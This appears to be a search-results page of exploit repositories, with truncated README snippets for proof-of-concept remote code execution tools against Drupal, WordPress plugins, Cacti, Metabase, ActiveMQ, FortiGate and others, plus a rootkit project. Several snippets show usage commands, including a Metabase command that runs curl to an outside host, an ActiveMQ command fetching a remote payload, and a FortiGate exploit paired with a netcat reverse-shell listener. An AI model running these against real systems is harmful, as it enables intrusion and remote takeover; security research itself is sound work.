319724 matches found
CVE-2018-7600
重要提示： 仅用于教育或信息目的。 ModSecurity的保护规则 by fuzzylogic ModRewrite .htaccess的保护规则 致媒体： 请不要在您的文章中将此仓库链接发布，而不说明如何防御攻击（建议更新Drupal、设置WAF规则等）。 基于CheckPoint文章的PoC。 https://research.checkpoint.com/uncovering-drupalgeddon-2/ 作者：Eyal Shalev、Rotem Reiss 和 Eran Vaknin PoC在Drupal 7.x上无效。Drupal 7.x和8.x请参见此处。...
CVE-2024-34716
CVE-2024-34716PoC 更多技术细节可在 https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ 查看 安装 pip install -r requirements.txt 使用 Usage: python exploit.py --url --email --local-ip --admin-path...
CVE-2024-43160
Wordpress BerqWP = 1.7.6 - Unauthenticated Arbitrary File Uplaod CVE-2024-43160 The BerqWP – Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type...
CVE-2024-8425
Wordpress WooCommerce Ultimate Gift Card = 2.6.0 - 未认证任意文件上传 CVE-2024-8425 WordPress 的 WooCommerce Ultimate Gift Card 插件容易受到任意文件上传攻击，原因是在包括 2.6.0 在内的所有版本中，'mwbwgmpreviewmail' 和 'mwbwgmwoocommerceaddcartitemdata' 函数对文件类型验证不足。这使得未认证的攻击者可以在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。 如需更多 WordPress...
CVE-2022-46169
CVE-2022-46169 漏洞利用 针对 Cacti 1.2.19 中 CVE-2022-46169 漏洞的利用工具 选项 -u --url 目标URL -f --forwarded 用于绕过认证的X-Forwarded值 -m --mode: check 用于检查易受攻击的服务器，或 exploit 用于有趣的利用模式 :D 使用 1. $ ./cve202246169.py -u http://10.10.10.10/cacti -f 10.10.10.10 -m exploit 2. $ ./cve202246169.py -u http://10.10.10.10/cacti...
Exploit-CVE-2024-31777
CVE-2024-31777 | GUnet OpenEclass在线学习平台任意文件上传PoC 📜 描述 本脚本针对 CVE-2024-31777 提供了一个概念验证（PoC），该漏洞是在 GUnet OpenEclass 在线学习平台中发现的一个安全漏洞，CVSS 评分为 9.8，影响 'certbadge.php' 端点。拥有管理员权限的经过身份验证的攻击者能够利用该缺陷，通过 ZIP 功能执行任意文件上传，从而实现远程代码执行。 📜 安装 该工具使用 Python3 编写，需要某些模块才能正常运作： pip3 install -r requirements.txt 🚀 使用方法...
CVE-2026-21858
🚨 CVE-2026-21858 — “Ni8mare” 一个无需认证的远程代码执行漏洞，影响开源工作流自动化平台。 📖 目录 概述 技术细节 严重等级与 CVSS 受影响版本 影响 利用 检测 修复 临时措施 总结 🔎 概述 CVE-2026-21858 ，代号 “Ni8mare” ，是 n8n 中的一个严重漏洞。n8n 是一个用于构建自动化工作流（例如自动化 API 调用、集成、SaaS 连接器）的流行平台。 该漏洞允许未经认证的远程攻击者 与未正确验证的 webhook/表单端点交互，从而未经授权访问文件及内部服务器资源。 成功利用该漏洞可能导致完全远程代码执行（RCE）...
EXPLOIT-CVE-2025-55182
CVE-2025-55182 概念验证 概述 针对 CVE-2025-55182 React2Shell 的实践演示——React Server Components 中的一个严重 RCE 漏洞。 漏洞详情 CVE 编号 : CVE-2025-55182 类型 : 通过原型污染实现的远程代码执行 CVSS : 9.8 严重 影响范围 : React 19.0.0, 19.1.0, 19.1.1, 19.2.0 攻击向量 React Server Components 不安全地反序列化 FormData。特制的多部分字段会触发原型污染，并通过 childprocess.execSync...
CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE
CVE-2021-41773 – Apache HTTP Server 2.4.49 远程代码执行 ⚠️ 免责声明 本仓库仅供教育和研究目的 。 这里提供的信息和代码只能在受控环境 （例如私人实验室机器）中使用。 未经授权将本代码用于您不拥有或未获得明确许可测试的系统是非法的且不道德的。 作者不对任何滥用或造成的损害负责 。 🔍 关于漏洞 CVE-2021-41773 影响 Apache HTTP Server 版本 2.4.49 。 由于路径规范化中的输入验证不当，攻击者可以利用编码字符（如 %2e）进行路径遍历 以访问任意文件。 如果启用了CGI...
CVE-2023-38646
CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 python3 single.py -u http://127.0.0.1:8080 -c...
CVE-2021-27850_POC
CVE-2021-27850 Exploit Resumen CVE-2021-27850 es una vulnerabilidad crítica de ejecución remota de código no autenticada que se encontró en todas las versiones recientes de Apache Tapestry. Al descargar el archivo AppModule.class, podemos filtrar la clave secreta HMAC utilizada para firmar todos...
CVE-2020-28502
CVE-2020-28502 node-XMLHttpRequest RCE NVD 描述 这影响包 xmlhttprequest 1.7.0 之前的所有版本；以及包 xmlhttprequest-ssl 的所有版本。当请求同步发送时（即 xhr.open 中的 async=False），恶意用户输入流入 xhr.send 可能导致任意代码被注入并执行。 演示 设置 1. 从 Dockerfile 构建镜像 $ docker build -t cve-2020-28502 . 2. 在新容器中运行 node app.js $ docker run --rm -p 3000:3000...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
项目参考 本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 exp 来重写的一个 python 版本的 exp 。 用法 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 其中 -p 参数默认为 activeMQ 的默认端口。-x 参数注意需要加上协议的前缀。 介绍 这里附上 openwire 协议的图示就很明白了。 下面给出的是 Throwable 类型的数据包格式。 具体的漏洞分析见下面的参考文章。 参考文章...
CVE-2018-7600-Drupal-0day-RCE
CVE-2018-7600-Drupal-0day-RCE Drupal 0day 远程 PHP 代码执行 Perl 这是一个针对 Drupal CMS 的 0day RCE 利用工具。 你可以在服务器上上传有效载荷。 CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 如何运行利用工具： 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-安装 ActivePerl 3-perl...
F5-Big-IP-CVE-2022-1388
F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP 未授权远程代码执行 PoC 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...
SAP_EEM_CVE-2020-6207
CVE-2020-6207 的 PoC（SAP Solution Manager 中缺失认证检查） 此脚本用于检查并利用 SAP EEM Servlet（tcsmdagentapplicationeem）中的认证缺失漏洞，该漏洞可导致连接到 SAP Solution Manager 的 SAP SMDAgent 远程代码执行（RCE）。 原始发现者： Pablo Artuso Yvan 'iggy' G 论文：An Unauthenticated Journey to Root :Pwning Your Company's Enterprise Software Servers...
boopkit
================================================================ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║ ██████╔╝╚██████╔╝╚██████╔╝██║ ██║...
log4shell_1.x
Log4jShell1.x Log4j RCE 1.x PoC 攻击方式 限制条件 1. 目标需具备 JMS 环境 2. 你需要获得修改 log4j.properties 文件的权限 结论 不如 log4shell 2.x 实用 Log4shell 专题 https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j 欢迎为 reapoc 贡献代码 https://github.com/cckuailong/reapoc...
CVE-2023-27997
CVE-2023-27997 FortiGate VM64 7.2.0 可被此代码利用。（注意：代码编写方式非常愚蠢。） 概念验证 $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray + execute $ nc -lvp 9999 Listenin...